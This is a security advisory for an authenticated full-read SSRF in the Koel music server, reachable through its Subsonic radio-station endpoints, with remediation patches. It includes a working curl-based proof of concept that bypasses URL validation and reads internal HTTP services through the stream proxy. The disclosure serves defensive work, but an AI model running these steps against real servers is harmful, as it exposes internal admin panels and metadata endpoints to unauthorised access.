Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations

The response body is returned to the attacker

If the upstream response is treated as a normal stream, Koel forwards it back to the client:

while (!feof($stream) && !connection_aborted()) {
    echo fread($stream, 8192);
    flush();
}

That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.

This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.

PoC

The following steps were validated against the official phanan/koel:9.6.0 image.

1. Authenticate and obtain an API token:

API_TOKEN=$(
  curl -sS -X POST http://127.0.0.1:18081/api/me \
    -H 'Content-Type: application/json' \
    --data '{"email":"[email protected]","password":"KoelIsCool"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)

2. Obtain the user's Subsonic API key:

SUBSONIC_KEY=$(
  curl -sS http://127.0.0.1:18081/api/data \
    -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)

3. Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:

TARGET_URL="http://172.17.0.1:18090/feed.xml"

4. Confirm the regular web API blocks the URL:

curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
  -H "Authorization: Bearer $API_TOKEN" \
  -H 'Accept: application/json' \
  -H 'Content-Type: application/json' \
  --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"

Expected result:

• HTTP 422
• Error includes The url must point to a public URL.

5. Create the same station through the Subsonic route:

curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode 'name=xmlpeek' \
  --data-urlencode "streamUrl=$TARGET_URL"

Expected result:

• HTTP 200
• JSON includes "status":"ok"

6. Resolve the station ID and stream it:

STATION_ID=$(
  curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
  | python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)

curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"

Expected result:

• HTTP 200
• Response body contains the upstream content from the internal target URL

An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.

Practical impact includes:

• Reading loopback-only, RFC1918, or Docker-bridge HTTP services
• Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
• Performing internal HTTP reconnaissance and retrieving content through Koel itself

Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.

Remediation

The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.

Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:

diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
@@
 namespace App\Http\Requests\Subsonic;
 
 use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
-            'streamUrl' => ['required', 'string'],
+            'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
             'name' => ['required', 'string'],
             'homepageUrl' => ['nullable', 'string'],
         ];
     }
 }

Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:

diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
@@
 namespace App\Http\Requests\Subsonic;
 
 use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
     public function rules(): array
     {
         return [
             'id' => ['required', 'string'],
-            'streamUrl' => ['required', 'string'],
+            'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
             'name' => ['required', 'string'],
             'homepageUrl' => ['nullable', 'string'],
         ];
     }
 }

Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:

diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
--- a/app/Services/Radio/RadioStreamProxy.php
+++ b/app/Services/Radio/RadioStreamProxy.php
@@
 namespace App\Services\Radio;
 
+use App\Helpers\Network;
 use App\Models\RadioStation;
 
 class RadioStreamProxy
 {
+    public function __construct(private readonly Network $network) {}
+
@@
     public function openStream(string $url)
     {
+        if (!$this->network->isSafeUrl($url)) {
+            return false;
+        }
+
         $context = stream_context_create([
             'http' => [
                 'header' => "Icy-MetaData: 1\r\n",
                 'timeout' => 5,
             ],